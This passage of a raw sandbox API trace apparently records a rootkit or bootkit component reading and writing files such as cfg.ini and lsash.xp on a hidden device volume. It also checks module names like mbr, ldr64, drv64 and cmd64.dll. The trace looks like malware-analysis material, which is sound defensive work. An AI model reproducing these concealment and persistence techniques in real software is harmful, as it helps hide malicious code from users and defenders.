(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.802] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.802] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.802] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.802] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.802] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7490 [0127.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.802] KeLeaveCriticalRegion () [0127.802] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.802] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.802] KeEnterCriticalRegion () [0127.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.802] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.802] KeLeaveCriticalRegion () [0127.802] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.802] KeEnterCriticalRegion () [0127.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.802] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.802] IdePortDispatch () returned 0x103 [0127.803] KeWaitForMutexObject () returned 0x0 [0127.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.803] KeLeaveCriticalRegion () [0127.803] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.803] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.803] KeEnterCriticalRegion () [0127.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.803] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4d000 [0127.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.803] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.803] IdePortDispatch () returned 0x103 [0127.803] KeWaitForMutexObject () returned 0x0 [0127.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.803] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.803] IdePortDispatch () returned 0x103 [0127.803] KeWaitForMutexObject () returned 0x0 [0127.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.804] KeLeaveCriticalRegion () [0127.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.804] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.804] KeEnterCriticalRegion () [0127.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.804] KeLeaveCriticalRegion () [0127.804] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.804] KeEnterCriticalRegion () [0127.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.804] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.804] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.804] KeLeaveCriticalRegion () [0127.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.804] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.804] KeEnterCriticalRegion () [0127.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.804] ExFreePoolWithTag (P=0xfffffa800c4f7490, Tag=0x0) [0127.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.804] KeLeaveCriticalRegion () [0127.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.804] ReleaseMutex (hMutex=0xf0) returned 1 [0127.805] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.805] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.805] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.805] KeEnterCriticalRegion () [0127.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.805] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.805] IdePortDispatch () returned 0x103 [0127.805] KeWaitForMutexObject () returned 0x0 [0127.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.805] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.805] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.805] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.805] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.805] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb470 [0127.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.805] KeLeaveCriticalRegion () [0127.805] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.805] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.805] KeEnterCriticalRegion () [0127.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.805] KeLeaveCriticalRegion () [0127.805] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.805] KeEnterCriticalRegion () [0127.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.805] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.805] IdePortDispatch () returned 0x103 [0127.805] KeWaitForMutexObject () returned 0x0 [0127.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.806] KeLeaveCriticalRegion () [0127.806] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.806] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.806] KeEnterCriticalRegion () [0127.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4e000 [0127.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.806] IdePortDispatch () returned 0x103 [0127.806] KeWaitForMutexObject () returned 0x0 [0127.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.806] IdePortDispatch () returned 0x103 [0127.806] KeWaitForMutexObject () returned 0x0 [0127.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.806] KeLeaveCriticalRegion () [0127.806] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.807] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.807] KeEnterCriticalRegion () [0127.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.807] KeLeaveCriticalRegion () [0127.807] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.807] KeEnterCriticalRegion () [0127.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.807] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.807] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.807] KeLeaveCriticalRegion () [0127.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.807] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.807] KeEnterCriticalRegion () [0127.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.807] ExFreePoolWithTag (P=0xfffffa8003bfb470, Tag=0x0) [0127.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.807] KeLeaveCriticalRegion () [0127.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.807] ReleaseMutex (hMutex=0xf0) returned 1 [0127.807] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.807] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.808] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.808] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.808] KeEnterCriticalRegion () [0127.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.808] IdePortDispatch () returned 0x103 [0127.808] KeWaitForMutexObject () returned 0x0 [0127.808] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.808] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.808] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.808] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.808] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.808] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.808] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.808] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.808] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.808] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.808] KeLeaveCriticalRegion () [0127.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.808] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.808] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.808] KeEnterCriticalRegion () [0127.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.808] IdePortDispatch () returned 0x103 [0127.810] KeWaitForMutexObject () returned 0x0 [0127.810] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.810] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.810] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.810] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.810] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.810] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.810] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.810] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.810] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.810] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.810] KeLeaveCriticalRegion () [0127.810] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.810] ReleaseMutex (hMutex=0x100) returned 1 [0127.811] Sleep (dwMilliseconds=0x2bf20) [0127.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f62da90, dwHighDateTime=0x1d24fa4)) [0127.819] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.819] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.819] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.819] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.819] KeEnterCriticalRegion () [0127.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.819] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.819] IdePortDispatch () returned 0x103 [0127.819] KeWaitForMutexObject () returned 0x0 [0127.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.820] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.820] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.820] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.820] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.820] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc1b0 [0127.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.820] KeLeaveCriticalRegion () [0127.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.820] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.820] KeEnterCriticalRegion () [0127.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.820] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.820] KeLeaveCriticalRegion () [0127.820] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.820] KeEnterCriticalRegion () [0127.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.820] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.820] IdePortDispatch () returned 0x103 [0127.820] KeWaitForMutexObject () returned 0x0 [0127.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.820] KeLeaveCriticalRegion () [0127.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.821] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.821] KeEnterCriticalRegion () [0127.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c51000 [0127.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.821] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.821] IdePortDispatch () returned 0x103 [0127.821] KeWaitForMutexObject () returned 0x0 [0127.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.821] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.821] IdePortDispatch () returned 0x103 [0127.821] KeWaitForMutexObject () returned 0x0 [0127.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.822] KeLeaveCriticalRegion () [0127.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.822] 